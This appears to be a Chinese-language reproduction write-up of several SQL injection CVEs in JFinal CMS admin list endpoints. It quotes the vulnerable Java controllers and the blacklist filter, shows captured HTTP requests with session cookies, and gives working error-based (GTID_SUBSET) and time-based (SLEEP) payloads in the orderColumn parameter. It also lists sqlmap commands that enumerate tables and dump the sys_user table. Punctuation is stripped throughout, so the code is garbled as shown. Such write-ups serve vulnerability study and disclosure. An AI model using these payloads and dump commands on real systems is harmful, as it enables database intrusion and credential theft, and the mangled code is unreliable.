0x1 SQL 注入 CVE-2022-37202描述/admin/advicefeedback/list 参数处理不当可被利用执行恶意SQL命令。代码public SQLUtils(String sql) { sqlBuffer new StringBuffer(sql); }tb_advice_feedback表下查询ControllerBind(controllerKey /admin/advicefeedback) public class AdvicefeedbackController extends BaseProjectController { private static final String path /pages/admin/advicefeedback/advicefeedback_; public void list() { //这里自动获取 TbAdviceFeedback model getModelByAttr(TbAdviceFeedback.class); //查询 SQLUtils sql new SQLUtils( from tb_advice_feedback t where 11 ); //某个条件 if (model.getAttrValues().length ! 0) { //拼接t存储进alias sql.setAlias(t); // 查询条件model.获取代入 sql.whereLike(username, model.getStr(username)); sql.whereLike(qq, model.getStr(qq)); sql.whereLike(email, model.getStr(email)); sql.whereLike(telphone, model.getStr(telphone)); } // 排序 //怎么获取 String orderBy getBaseForm().getOrderBy(); //sql if (StrUtils.isEmpty(orderBy)) { //尾部添加 sql.append( order by t.id desc ); } else { //拼接 sql.append( order by ).append(orderBy); } //连接 PageTbAdviceFeedback page TbAdviceFeedback.dao.paginate(getPaginator(), select t.* , // sql.toString().toString()); // 下拉框 setAttr(page, page); setAttr(attr, model); render(path list.html); }public PageM paginate(Paginator paginator, String select, String sqlExceptSelect, Object... paras) { return paginate(paginator.getPageNo(), paginator.getPageSize(), select, sqlExceptSelect, paras); }public PageM paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) { return doPaginate(pageNumber, pageSize, null, select, sqlExceptSelect, paras); }private PageM doPaginate(int pageNumber, int pageSize, Boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) { Config config _getConfig(); Connection conn null; try { //获取连接 conn config.getConnection(); String totalRowSql select count(*) config.dialect.replaceOrderBy(sqlExceptSelect); StringBuilder findSql new StringBuilder(); //拼接 findSql.append(select).append( ).append(sqlExceptSelect); return doPaginateByFullSql(config, conn, pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras); } catch (Exception e) { throw new ActiveRecordException(e); } finally { config.close(conn); } }其中的 order by id desc 就是前端传的 orderColumnidorderAscdesc 直接拼出来的另一触看不懂代码直接调试。POST /jfinal_cms/admin/advicefeedback/list HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 168 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/jfinal_cms/admin/advicefeedback/list Cookie: JSESSIONID0B2551971BB7659EA67C1C1F9FC4809C; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA; Hm_lpvt_1040d081eea13b44d84a4af639640d511775195452; HMACCOUNTA2CF3FA6A7F759C5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u0, i form.orderColumn5form.orderAsc6form.orderColumnform.orderAscattr.username1attr.qq2attr.email3attr.telphone4totalRecords191pageNo1pageSize20length10form.orderColumn5form.orderAsc6他们被拼接到最后面并且没有过滤。POST /jfinal_cms/admin/advicefeedback/list HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:8080/jfinal_cms/admin/advicefeedback/list Content-Type: application/x-www-form-urlencoded Content-Length: 168 Origin: http://localhost:8080 Connection: keep-alive Cookie: JSESSIONID0B2551971BB7659EA67C1C1F9FC4809C; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA; Hm_lpvt_1040d081eea13b44d84a4af639640d511775195452; HMACCOUNTA2CF3FA6A7F759C5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u0, i form.orderColumn5form.orderAscform.orderColumnform.orderAscattr.username1attr.qq2attr.email3attr.telphone4totalRecords191pageNo1pageSize20length10成功String orderBy getBaseForm().getOrderBy()public BaseForm getBaseForm() { //取from BaseForm form super.getAttr(form); return form null ? new BaseForm() : form; }public T T getAttr(String name) { return (T)request.getAttribute(name); }public Object getAttribute(String name) { return this.request.getAttribute(name); }private ServletRequest request;public String getOrderBy() { if (StrUtils.isEmpty(getOrderColumn())) { return ; } //返回字符串 return getOrderColumn() getOrderAsc() ; }whereLike sqlprivate String alias ; public void setAlias(String alias) { this.alias alias; }//键值 public void whereLike(String attrName, String value) { //过滤 if (checkSQLInject(attrName) || checkSQLInject(value)) { //返回正常字段 return; } //代入查询值 if (StrUtils.isNotEmpty(value)) { //t拼接attrName //append(value)可控 //模糊匹配value sqlBuffer.append( AND getAttrName(attrName) LIKE %).append(value).append(%); } }private String getAttrName(String attrName) { if (StrUtils.isEmpty(alias)) { //返回attrName return attrName; } //拼接 return alias . attrName; }//sql.setAlias(t); private String alias ;//建过滤 public static boolean checkSQLInject(String str) { // 如果传入空串则认为不存在非法字符 if (StrUtils.isEmpty(str)) { return false; } // 判断黑名单 String[] blacks {script, mid, master, truncate, insert, select, delete, update, declare, iframe, , onreadystatechange, alert, atestu, xss, ;, , , , (, ), // ,,, \ \\, svg, confirm, prompt, onload, onmouseover, onfocus, onerror}; // 判断白名单 String[] whites {updatetime, update_time, \}; // sql不区分大小写 str str.toLowerCase(); //2选1 //完整判断 for (int i 0; i whites.length; i) { if (whites[i].equals(str)) { return false; } } //黑名单 for (int i 0; i blacks.length; i) { //字符判断 if (str.indexOf(blacks[i]) 0) { //日志 logger.error(SQLInject 原因特殊字符传入str str ,包含特殊字符 blacks[i]); //检查到sql return true; } } return false; } }//值过滤 public static boolean checkSQLInject(String str) { // 如果传入空串则认为不存在非法字符 if (StrUtils.isEmpty(str)) { return false; } // 判断黑名单 //url绕过post排除/**/绕过不安全过滤 String[] blacks {script, mid, master, truncate, insert, select, delete, update, declare, iframe, , onreadystatechange, alert, atestu, xss, ;, , , , (, ), // ,,, \ \\, svg, confirm, prompt, onload, onmouseover, onfocus, onerror}; // 判断白名单 String[] whites {updatetime, update_time, \}; // sql不区分大小写 str str.toLowerCase(); //判断是不是白名单必须有字符 for (int i 0; i whites.length; i) { if (whites[i].equals(str)) { return false; } } //报错 for (int i 0; i blacks.length; i) { if (str.indexOf(blacks[i]) 0) { logger.error(SQLInject 原因特殊字符传入str str ,包含特殊字符 blacks[i]); return true; } } return false; } }public String getStr(String attr) { // return (String)attrs.get(attr); Object s attrs.get(attr); return s ! null ? s.toString() : null; }public V get(Object key) { NodeK,V e; return (e getNode(hash(key), key)) null ? null : e.value; }poc其实思路很明显了闭合‘并且绕过过滤为什么闭合单引号sqlBuffer.append( AND getAttrName(attrName) LIKE %).append(value).append(%)实际拼接AND name LIKE %abc%重点sqlBuffer.append( AND getAttrName(attrName) LIKE %).append(value).append(%);绕过{script, mid, master, truncate, insert, select, delete, update, declare,iframe, , onreadystatechange, alert, atestu, xss, ;, , , , (, ),// ,,, \\\, svg, confirm, prompt, onload, onmouseover, onfocus, onerror};验证如果拼接过后是%%%就会全部展现出来。可惜的是上面有引号过滤。复现漏洞点sql.append( order by ).append(orderBy);这个功能查询功能刷新发现有默认子页面保存一次注入poc报错注入Parameter: #1* ((custom) POST) Type: error-based Title: MySQL 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: form.orderColumn) AND GTID_SUBSET(CONCAT(0x7170766a71,(SELECT (ELT(22712271,1))),0x717a707671),2271)-- GrNxform.orderAscform.orderColumnform.orderAscattr.username1attr.qq2attr.email3attr.telphone4totalRecords191pageNo1pageSize20length10这里就可以看到报错数据库名字了。时间盲注Type: time-based blind Title: MySQL 5.0.12 AND time-based blind (query SLEEP) Payload: form.orderColumn) AND (SELECT 5586 FROM (SELECT(SLEEP(5)))GMMl)-- ReaJform.orderAscform.orderColumnform.orderAscattr.username1attr.qq2attr.email3attr.telphone4totalRecords191pageNo1pageSize20length10 ---py sqlmap.py -r C:\Users\jc\Desktop\569.txt --proxyhttp://127.0.0.1:8089 --random-agent· --banner数据库版本信息· --current-db当前数据库名· --current-user当前连接用户py sqlmap.py -r C:\Users\jc\Desktop\569.txt --dataform.orderColumn1attr.username1... -p form.orderColumn --banner --current-db --current-user --proxyhttp://127.0.0.1:8089 --random-agentpy sqlmap.py -r C:\Users\jc\Desktop\569.txt --dataform.orderColumn1attr.username1... -p form.orderColumn -D jflyfox_cms --tables --proxyhttp://127.0.0.1:8089 --random-agent或py sqlmap.py -r C:\Users\jc\Desktop\569.txt -D jflyfox_cms --tables --proxyhttp://127.0.0.1:8089 --random-agentpy sqlmap.py -r C:\Users\jc\Desktop\569.txt -D jflyfox_cms -T sys_user --dump --batch --proxyhttp://127.0.0.1:8089 --random-agent0x2 SQL 注入 CVE-2022-28505描述com.jflyfox.system.log.LogController.java 日志控制器相关接口存在SQL注入。一看页面就觉得又是同类型的漏洞。public void list() { SysLog model getModelByAttr(SysLog.class); SQLUtils sql new SQLUtils( from sys_log t where 11 ); if (model.getAttrValues().length ! 0) { sql.setAlias(t); // 查询条件 sql.whereEquals(log_type, model.getLogType()); } // 排序 String orderBy getBaseForm().getOrderBy(); if (StrUtils.isEmpty(orderBy)) { sql.append( order by id desc); } else { sql.append( order by ).append(orderBy); } PageSysLog page SysLog.dao.paginate(getPaginator(), select t.* , // sql.toString().toString()); // 下拉框 setAttr(page, page); setAttr(attr, model); render(path list.html); }没什么好分析的。0x3 SQL 注入 CVE-2022-37208描述/jfinal_cms/system/user/list 后台用户列表接口存在SQL注入漏洞。public void list() { SysUser model getModelByAttr(SysUser.class); SQLUtils sql new SQLUtils( from sys_user t // left join sys_department d on d.id t.departid // where 1 1 and userid ! 1 ); if (model.getAttrValues().length ! 0) { sql.whereLike(username, model.getStr(username)); sql.whereLike(realname, model.getStr(realname)); sql.whereEquals(usertype, model.getInt(usertype)); sql.whereEquals(departid, model.getInt(departid)); } // 排序 String orderBy getBaseForm().getOrderBy(); if (StrUtils.isEmpty(orderBy)) { sql.append( order by userid desc); } else { sql.append( order by ).append(orderBy); } PageSysUser page SysUser.dao.paginate(getPaginator(), select t.*,d.name as departname , sql.toString() .toString()); // 下拉框 setAttr(departSelect, new DepartmentSvc().selectDepart(model.getInt(departid))); setAttr(page, page); setAttr(attr, model); render(path list.html); }0x4 SQL 注入 CVE-2022-37223描述/jfinal_cms/system/role/list 后台角色列表接口存在SQL注入漏都没什么好说的。0x5 SQL 注入 CVE-2022-33114/jfinal_cms/system/dict/list attrVal参数未正确过滤导致SQL注入。POST /jfinal_cms/system/dict/list HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.9,zh-TW;q0.8,zh-HK;q0.7,en-US;q0.6,en;q0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 95 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/jfinal_cms/system/dict/list Cookie: JSESSIONID6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d511774610423,1774928205,1775025367,1775195452; session_userVrhFVJS2SgewvZrFcwCawA; Hm_lpvt_1040d081eea13b44d84a4af639640d511775195452; HMACCOUNTA2CF3FA6A7F759C5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u0, i form.orderColumnform.orderAscattr.dict_typetotalRecords33pageNo1pageSize20length10public void list() { SysDictDetail attr getModelByAttr(SysDictDetail.class); StringBuffer sql new StringBuffer( from sys_dict_detail t,sys_dict d where t.dict_type d.dict_type ); //这里 String attrVal attr.getStr(dict_type); if (StrUtils.isNotEmpty(attrVal)) { //无过滤拼接 sql.append( AND t.dict_type ).append(attrVal).append(); } // 排序 String orderBy getBaseForm().getOrderBy(); if (StrUtils.isEmpty(orderBy)) { sql.append( order by t.dict_type,t.detail_id desc ); } else { sql.append( order by ).append(orderBy); } PageSysDictDetail page SysDictDetail.dao .paginate(getPaginator(), select t.*,d.dict_name , sql.toString()); // 下拉框 setAttr(optionList, svc.selectDictType(attr.getStr(dict_type))); setAttr(attr, attr); setAttr(page, page); render(path list.html); }这个就有意思了这个页面下虽然有相同的漏洞但是又有另一个注入点。py sqlmap.py -r C:\Users\jc\Desktop\569.txt --proxyhttp://127.0.0.1:8089 --random-agent